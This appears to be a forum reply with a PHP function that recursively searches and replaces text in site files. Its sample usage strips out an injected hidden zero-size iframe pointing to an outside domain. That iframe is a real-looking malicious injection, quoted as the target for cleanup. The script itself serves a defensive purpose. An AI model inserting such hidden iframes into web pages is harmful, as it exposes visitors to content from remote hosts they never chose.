I found one bug (incorrect variable name) and added some output so you can see what it's doing:
<?php
/**
* Recursive file search-and-replace
* @return bool
* @param string $directory Path to top directory from which to start replacing
* @param array $suffixes Array of file suffixes to process (no leading dot)
* @param string $search String to be replaced (case-insensitive)
* @param string $replace String to be used for the replacement
**/
function replaceTextRecursive($directory, $suffixes, $search, $replace = '')
{
$files = glob($directory . "/*", GLOB_BRACE);
echo "<pre>".print_r($files,1)."</pre>";
foreach ($files as $file)
{
if(in_array(basename($file), array('.', '..')))
{
continue;
}
elseif(is_dir($file))
{
echo "Directory '$file', recursing...<br>\n";
replaceTextRecursive($file, $suffixes, $search, $replace);
}
elseif (preg_match('/\.('. implode('|', $suffixes) .')$/', $file)
and is_readable($file) and is_writable($file))
{
echo "Running search/replace on '$file'<br>\n";
$text = file_get_contents($file);
$text = str_ireplace($search, $replace, $text);
file_put_contents($file, $text);
}
}
return true;
}
// SAMPLE USAGE:
$search = <<<EOD
<iframe src="http://fuadrenal.com/tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
EOD;
$directory = 'folder';
$suffixes = array('php', 'html', 'htm');
replaceTextRecursive('folder', $suffixes, $search, '');